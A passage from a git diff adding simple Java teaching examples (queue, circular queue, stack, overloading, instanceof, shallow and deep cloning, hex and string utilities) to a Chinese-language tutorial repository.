100644 index 0000000000..ef60a69e8a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java @@ -0,0 +1,21 @@ +package com.itwanger.overriding; + +import java.io.FileNotFoundException; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Dog extends Animal { + public void eat() { + super.eat(); + } + + @Override + public void move() { + + } + + static void sleep() { + System.out.println("狗狗在睡觉"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java new file mode 100644 index 0000000000..be0e69f6cf --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java @@ -0,0 +1,8 @@ +package com.itwanger.overriding; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public interface Wuti { + void move(); +} diff --git a/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java b/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java new file mode 100644 index 0000000000..3fad68c53b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java @@ -0,0 +1,96 @@ +package com.itwanger.queue; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class CQueue { + int SIZE = 5; + int items[] = new int[SIZE]; + int front, rear; + +CQueue() { + front = -1; + rear = -1; +} + +void enQueue(int element) { + if (isFull()) { + System.out.println("队列已经满了"); + } else { + if (front == -1) + front = 0; + rear = (rear + 1) % SIZE; + items[rear] = element; + System.out.println("插入 " + element); + } +} + +int deQueue() { + int element; + if (isEmpty()) { + System.out.println("队列空了"); + return (-1); + } else { + element = items[front]; + if (front >= rear) { + front = -1; + rear = -1; + } + else { + front = (front + 1) % SIZE; + } + System.out.println("删除 -> " + element); + return (element); + } +} + +boolean isFull() { + if (front == 0 && rear == SIZE - 1) { + return true; + } + + if (front == rear + 1) { + return true; + } + return false; +} + +boolean isEmpty() { + if (front == -1) + return true; + else + return false; +} + +void display() { + int i; + if (isEmpty()) { + System.out.println("队列为空"); + } else { + System.out.println("\n队首的下标-> " + front); + System.out.println("元素 -> "); + for (i = front; i <= rear; i++) + System.out.print(items[i] + " "); + + System.out.println("\n队尾的下标-> " + rear); + } +} + +public static void main(String[] args) { +CQueue q = new CQueue(); + +// enQueue 5 elements +q.enQueue(1); +q.enQueue(2); +q.enQueue(3); +q.enQueue(4); +q.enQueue(5); + +// 出队 +q.deQueue(); +q.deQueue(); + +q.enQueue(6); +q.enQueue(7); +} +} diff --git a/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java b/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java new file mode 100644 index 0000000000..38a824fcca --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java @@ -0,0 +1,92 @@ +package com.itwanger.queue; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Queue { + int SIZE = 5; + int items[] = new int[SIZE]; + int front, rear; + +Queue() { + front = -1; + rear = -1; +} + +void enQueue(int element) { + if (isFull()) { + System.out.println("队列已经满了"); + } else { + if (front == -1) + front = 0; + rear++; + items[rear] = element; + System.out.println("插入 " + element); + } +} + +int deQueue() { + int element; + if (isEmpty()) { + System.out.println("队列空了"); + return (-1); + } else { + element = items[front]; + if (front >= rear) { + front = -1; + rear = -1; + } + else { + front++; + } + System.out.println("删除 -> " + element); + return (element); + } +} + +boolean isFull() { + if (front == 0 && rear == SIZE - 1) { + return true; + } + return false; +} + +boolean isEmpty() { + if (front == -1) + return true; + else + return false; +} + +void display() { + int i; + if (isEmpty()) { + System.out.println("队列为空"); + } else { + System.out.println("\n队首的下标-> " + front); + System.out.println("元素 -> "); + for (i = front; i <= rear; i++) + System.out.print(items[i] + " "); + + System.out.println("\n队尾的下标-> " + rear); + } +} + +public static void main(String[] args) { +Queue q = new Queue(); + +// enQueue 5 elements +q.enQueue(1); +q.enQueue(2); +q.enQueue(3); +q.enQueue(4); +q.enQueue(5); + +// 出队 +q.deQueue(); +q.deQueue(); + +q.enQueue(6); +q.enQueue(7); +} +} diff --git a/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java b/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java new file mode 100644 index 0000000000..25a8cc63cc --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java @@ -0,0 +1,32 @@ +package com.itwanger.shiliu2shi; + +import cn.hutool.core.util.CharsetUtil; +import cn.hutool.core.util.HexUtil; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + public static void main(String[] args) { + System.out.println("十六进制转十进制 " + Integer.parseInt("0037",16)); + + System.out.println(HexUtil.decodeHexStr("37")); + + int shi = 50; + System.out.println(shi + "十进制转十六进制" + Integer.toHexString(shi)); + + String str = "ConstantValue"; + String strResult = HexUtil.encodeHexStr(str, CharsetUtil.CHARSET_UTF_8); + System.out.println(str + "字符串转十六进制" + strResult + " 字节大小" + strResult.length() / 2); + + System.out.println("十六进制转二进制" + hexStringToByte("0020")); + + System.out.println(Integer.toHexString(0x0001 | 0x0020)); + } + + public static String hexStringToByte(String hex) { + int i = Integer.parseInt(hex, 16); + String str2 = Integer.toBinaryString(i); + return str2; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java b/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java new file mode 100644 index 0000000000..a1570201f8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java @@ -0,0 +1,25 @@ +package com.itwanger.sixteen; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/19 + */ +public class Person { + private String name; + private int age; + private int sex; + + private void eat() { + + } + + private void sleep() { + + } + + private void dadoudou() { + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java b/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java new file mode 100644 index 0000000000..0777d6cdf8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java @@ -0,0 +1,15 @@ +package com.itwanger.sixteen; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/19 + */ +public class Pig { + private String color; + + public void eat() { + System.out.println("吃"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java b/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java new file mode 100644 index 0000000000..1a4c257ab3 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java @@ -0,0 +1,72 @@ +package com.itwanger.stack; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Stack { + private int arr[]; + private int top; + private int capacity; + + // 初始化栈 +Stack(int size) { + arr = new int[size]; + capacity = size; + top = -1; +} + + // 往栈中压入元素 +public void push(int x) { + if (isFull()) { + System.out.println("溢出\n程序终止\n"); + System.exit(1); + } + + System.out.println("压入 " + x); + arr[++top] = x; +} + + // 从栈中弹出元素 +public int pop() { + if (isEmpty()) { + System.out.println("栈是空的"); + System.exit(1); + } + return arr[top--]; +} + +// 返回栈的大小 +public int size() { + return top + 1; +} + +// 检查栈是否为空 +public Boolean isEmpty() { + return top == -1; +} + +// 检查栈是否已经满了 +public Boolean isFull() { + return top == capacity - 1; +} + +public void printStack() { + for (int i = 0; i <= top; i++) { + System.out.println(arr[i]); + } +} + +public static void main(String[] args) { + Stack stack = new Stack(5); + + stack.push(1); + stack.push(2); + stack.push(3); + stack.push(4); + + stack.pop(); + System.out.println("\n弹出元素后"); + + stack.printStack(); +} +} diff --git a/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java b/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java new file mode 100644 index 0000000000..66a3405a7c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java @@ -0,0 +1,104 @@ +package com.itwanger.strman; + +import strman.Strman; + +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import static java.util.function.Function.identity; +import static java.util.stream.Collectors.*; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/17 + */ +public class Demo { + public static void main(String[] args) { + Strman.append("沉", "默", "王", "二"); + + System.out.println(Strman.prepend("沉", "默", "王", "二")); + + String[] strs = {"默", "王", "二"}; + System.out.println(Strman.appendArray("沉", strs)); + + + System.out.println(Strman.at("沉默王二", 0)); + System.out.println(Strman.at("沉默王二", -1)); + System.out.println(Strman.at("沉默王二", -3)); + + String[] results = Strman.between("[沉默王二][一枚有趣的程序员]", "[", "]"); + + System.out.println(Arrays.toString(results)); + + results = Strman.chars("沉默王二"); + System.out.println(Arrays.toString(results)); + + Map map = Strman.charsCount("沉默王二的妹妹叫沉默王三"); + + System.out.println(map); + + System.out.println(Strman.collapseWhitespace("沉默王二 一枚有趣的程序员")); + + System.out.println(Strman.contains("沉默王二", "沉")); + System.out.println(Strman.contains("Abbc", "A", false)); + + + System.out.println(Strman.containsAny("沉默王二", new String[]{"沉", "三"})); + System.out.println(Strman.containsAny("沉默王二", new String[]{"沉默", "三"})); + System.out.println(Strman.containsAny("沉默王二", new String[]{"不", "三"})); + + System.out.println(Strman.endsWith("沉默王二", "二")); + System.out.println(Strman.endsWith("Abbc", "A", false)); + + System.out.println(Strman.ensureLeft("沉默王二", "沉")); + System.out.println(Strman.ensureLeft("默王二", "沉")); + + System.out.println(Strman.base64Encode("沉默王二")); + System.out.println(Strman.base64Decode("5rKJ6buY546L5LqM")); +// System.out.println(Strman.base64Decode("5rKJ6bu1Y546L5LqM")); + + System.out.println(Strman.binEncode("沉默王二")); + + System.out.println(Strman.binDecode("01101100100010011100111101101100001110011100010110100111010001100")); + + System.out.println(Strman.first("沉默王二", 0)); + System.out.println(Strman.first("沉默王二", 1)); + System.out.println(Strman.first("沉默王二", 2)); + +// System.out.println(Strman.first("沉默王二", -1)); + + System.out.println(Strman.head("沉默王二")); + + System.out.println(Strman.unequal("沉默王二", "沉默王三")); + + System.out.println(Strman.unequal("沉默王二", new String("沉默王二"))); + + System.out.println(Strman.insert("沉默二", "王", 2)); + + System.out.println(Strman.leftPad("王二", "沉默", 6)); + + results = Strman.removeEmptyStrings(new String[]{"沉", " ", " ", "默王二"}); + System.out.println(Arrays.toString(results)); + + + System.out.println(Strman.repeat("沉默王二", 3)); + + System.out.println(Stream.generate(() -> "沉默王二").limit(2).collect(Collectors.joining())); + + System.out.println(Strman.reverse("沉默王二")); + + System.out.println(Strman.safeTruncate("沉默王二", 4, "。。。")); + + System.out.println(Strman.safeTruncate("Java is the best", 13, "...")); + + System.out.println(Strman.truncate("Java is the best", 13, "...")); + + System.out.println(Strman.shuffle("沉默王二")); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java new file mode 100644 index 0000000000..6537a14228 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java @@ -0,0 +1,21 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingByParamNum { + public static void main(String[] args) { + System.out.println(Adder.add(10, 19)); + System.out.println(Adder.add(10, 19, 20)); + } +} + +class Adder { + static int add(int a, int b) { + return a + b; + } + + static int add(int a, int b, int c) { + return a + b + c; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java new file mode 100644 index 0000000000..c75a15e66c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java @@ -0,0 +1,21 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingByParamType { + public static void main(String[] args) { + System.out.println(Adder1.add(10, 19)); + System.out.println(Adder1.add(10.1, 19.2)); + } +} + +class Adder1 { + static int add(int a, int b) { + return a + b; + } + + static double add(double a, double b) { + return a + b; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java new file mode 100644 index 0000000000..dc2f871705 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java @@ -0,0 +1,21 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingByReturnType { + public static void main(String[] args) { + System.out.println(Adder2.add(10, 19)); + System.out.println(Adder2.add(10, 19)); + } +} + +class Adder2 { + static int add(int a, int b) { + return a + b; + } + +// static double add(int a, int b) { +// return a + b; +// } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java new file mode 100644 index 0000000000..da2ebbbece --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java @@ -0,0 +1,18 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingMain { + public static void main(String[] args) { + System.out.println("String[] args"); + } + + public static void main(String args) { + System.out.println("String args"); + } + + public static void main() { + System.out.println("无参"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java new file mode 100644 index 0000000000..bca640e231 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java @@ -0,0 +1,20 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingTypePromotion { + void sum(int a, long b) { + System.out.println(a + b); + } + + void sum(int a, int b, int c) { + System.out.println(a + b + c); + } + + public static void main(String args[]) { + OverloadingTypePromotion obj = new OverloadingTypePromotion(); + obj.sum(20, 20); + obj.sum(20, 20, 20); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java new file mode 100644 index 0000000000..359f3ab038 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java @@ -0,0 +1,19 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingTypePromotion1 { + void sum(int a, int b) { + System.out.println("int"); + } + + void sum(long a, long b) { + System.out.println("long"); + } + + public static void main(String args[]) { + OverloadingTypePromotion1 obj = new OverloadingTypePromotion1(); + obj.sum(20, 20); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java new file mode 100644 index 0000000000..8eab6005c9 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java @@ -0,0 +1,19 @@ +package com.itwanger.thirty; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class OverloadingTypePromotion2 { + void sum(long a, int b) { + System.out.println("long int"); + } + + void sum(int a, long b) { + System.out.println("int long"); + } + + public static void main(String args[]) { + OverloadingTypePromotion2 obj = new OverloadingTypePromotion2(); +// obj.sum(20, 20); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java new file mode 100644 index 0000000000..8b83e0e12f --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java @@ -0,0 +1,16 @@ +package com.itwanger.thirty.box; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + public static void main(String[] args) { + long t1 = System.currentTimeMillis(); + long sum = 0L; + for (int i = 0; i < Integer.MAX_VALUE;i++) { + sum += i; + } + long t2 = System.currentTimeMillis(); + System.out.println(t2-t1); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java new file mode 100644 index 0000000000..eeeb2fb240 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java @@ -0,0 +1,21 @@ +package com.itwanger.thirty.copy1; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class TestClone { + public static void main(String[] args) throws CloneNotSupportedException { + Writer writer1 = new Writer(18,"二哥"); + Writer writer2 = (Writer) writer1.clone(); + + System.out.println("浅拷贝后:"); + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + + writer2.setName("三妹"); + + System.out.println("调整了 writer2 的 name 后:"); + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java new file mode 100644 index 0000000000..dbe4b87a55 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java @@ -0,0 +1,43 @@ +package com.itwanger.thirty.copy1; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Writer implements Cloneable{ + private int age; + private String name; + + public Writer(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + @Override + public String toString() { + return super.toString().substring(26) + "{" + + "age=" + age + + ", name='" + name + '\'' + + '}'; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java new file mode 100644 index 0000000000..0a7b1034bd --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java @@ -0,0 +1,38 @@ +package com.itwanger.thirty.copy2; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Book { + private String bookName; + private int price; + + public Book(String bookName, int price) { + this.bookName = bookName; + this.price = price; + } + + public String getBookName() { + return bookName; + } + + public void setBookName(String bookName) { + this.bookName = bookName; + } + + public int getPrice() { + return price; + } + + public void setPrice(int price) { + this.price = price; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " bookName='" + bookName + '\'' + + ", price=" + price + + '}'; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java new file mode 100644 index 0000000000..7cfcb24add --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java @@ -0,0 +1,26 @@ +package com.itwanger.thirty.copy2; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class TestClone { + public static void main(String[] args) throws CloneNotSupportedException { + Writer writer1 = new Writer(18,"二哥"); + Book book1 = new Book("编译原理",100); + writer1.setBook(book1); + + Writer writer2 = (Writer) writer1.clone(); + System.out.println("浅拷贝后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + + Book book2 = writer2.getBook(); + book2.setBookName("永恒的图灵"); + book2.setPrice(70); + System.out.println("writer2.book 变更后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java new file mode 100644 index 0000000000..06558cc3a2 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java @@ -0,0 +1,54 @@ +package com.itwanger.thirty.copy2; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Writer implements Cloneable{ + private int age; + private String name; + private Book book; + + public Writer(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Book getBook() { + return book; + } + + public void setBook(Book book) { + this.book = book; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " age=" + age + + ", name='" + name + '\'' + + ", book=" + book + + '}'; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } +} + diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java new file mode 100644 index 0000000000..2148d44549 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java @@ -0,0 +1,44 @@ +package com.itwanger.thirty.copy3; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Book implements Cloneable{ + private String bookName; + private int price; + + public Book(String bookName, int price) { + this.bookName = bookName; + this.price = price; + } + + public String getBookName() { + return bookName; + } + + public void setBookName(String bookName) { + this.bookName = bookName; + } + + public int getPrice() { + return price; + } + + public void setPrice(int price) { + this.price = price; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " bookName='" + bookName + '\'' + + ", price=" + price + + '}'; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } +} + diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java new file mode 100644 index 0000000000..4bd9f8da5a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java @@ -0,0 +1,26 @@ +package com.itwanger.thirty.copy3; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class TestClone { + public static void main(String[] args) throws CloneNotSupportedException { + Writer writer1 = new Writer(18,"二哥"); + Book book1 = new Book("编译原理",100); + writer1.setBook(book1); + + Writer writer2 = (Writer) writer1.clone(); + System.out.println("深拷贝后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + + Book book2 = writer2.getBook(); + book2.setBookName("永恒的图灵"); + book2.setPrice(70); + System.out.println("writer2.book 变更后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java new file mode 100644 index 0000000000..448046fcbc --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java @@ -0,0 +1,55 @@ +package com.itwanger.thirty.copy3; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Writer implements Cloneable{ + private int age; + private String name; + private Book book; + + public Writer(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Book getBook() { + return book; + } + + public void setBook(Book book) { + this.book = book; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " age=" + age + + ", name='" + name + '\'' + + ", book=" + book + + '}'; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + Writer writer = (Writer) super.clone(); + writer.setBook((Book) writer.getBook().clone()); + return writer; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java new file mode 100644 index 0000000000..90ad9b4312 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java @@ -0,0 +1,41 @@ +package com.itwanger.thirty.copy4; + +import java.io.Serializable; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Book implements Serializable { + private String bookName; + private int price; + + public Book(String bookName, int price) { + this.bookName = bookName; + this.price = price; + } + + public String getBookName() { + return bookName; + } + + public void setBookName(String bookName) { + this.bookName = bookName; + } + + public int getPrice() { + return price; + } + + public void setPrice(int price) { + this.price = price; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " bookName='" + bookName + '\'' + + ", price=" + price + + '}'; + } +} + diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java new file mode 100644 index 0000000000..2a58f1a488 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java @@ -0,0 +1,28 @@ +package com.itwanger.thirty.copy4; + +import java.io.IOException; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class TestClone { + public static void main(String[] args) throws IOException, ClassNotFoundException { + Writer writer1 = new Writer(18,"二哥"); + Book book1 = new Book("编译原理",100); + writer1.setBook(book1); + + Writer writer2 = (Writer) writer1.deepClone(); + System.out.println("深拷贝后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + + Book book2 = writer2.getBook(); + book2.setBookName("永恒的图灵"); + book2.setPrice(70); + System.out.println("writer2.book 变更后:"); + + System.out.println("writer1:" + writer1); + System.out.println("writer2:" + writer2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java new file mode 100644 index 0000000000..05965cc159 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java @@ -0,0 +1,65 @@ +package com.itwanger.thirty.copy4; + +import java.io.*; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Writer implements Serializable { + private int age; + private String name; + private Book book; + + public Writer(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Book getBook() { + return book; + } + + public void setBook(Book book) { + this.book = book; + } + + @Override + public String toString() { + return super.toString().substring(26) + + " age=" + age + + ", name='" + name + '\'' + + ", book=" + book + + '}'; + } + + //深度拷贝 + public Object deepClone() throws IOException, ClassNotFoundException { + // 序列化 + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + + oos.writeObject(this); + + // 反序列化 + ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bis); + + return ois.readObject(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java new file mode 100644 index 0000000000..c1a6094dec --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java @@ -0,0 +1,15 @@ +package com.itwanger.thirtyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Animal {} +public class Dog extends Animal{ + public static void main(String[] args) { +// Dog dog1 = (Dog)new Animal(); + + Dog dog = new Dog(); + System.out.println(dog instanceof Dog); + System.out.println(dog instanceof Animal); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java new file mode 100644 index 0000000000..60899618bd --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Simple { + public static void main(String[] args) { + Simple simple = new Simple(); + System.out.println(simple instanceof Simple); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java new file mode 100644 index 0000000000..27615d8468 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java @@ -0,0 +1,36 @@ +package com.itwanger.thirtyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Test { + public static void main(String[] args) { + I i = new B(); + Call call = new Call(); + call.invoke(i); + } +} + +interface I{} +class A implements I { + public void a() { + System.out.println("a"); + } +} +class B implements I { + public void b() { + System.out.println("b"); + } +} +class Call { + void invoke(I i) { + if (i instanceof A) { + A a = (A)i; + a.a(); + } + if (i instanceof B) { + B b = (B)i; + b.b(); + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java new file mode 100644 index 0000000000..bce23b8da3 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java @@ -0,0 +1,18 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Car{ + int speedLimit = 60; +} + +class Honda extends Car { + int speedLimit = 90; +} +public class CanntOverrideMemberDataDemo { + public static void main(String[] args) { + Car car = new Honda(); + System.out.println(car.speedLimit); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java new file mode 100644 index 0000000000..7f148e9e53 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java @@ -0,0 +1,21 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Father{ + void say() { + System.out.println("老子说"); + } +} +public class Child extends Father { + @Override + void say() { + System.out.println("孩子说"); + } + + public static void main(String[] args) { + Father f = new Child(); + f.say(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java 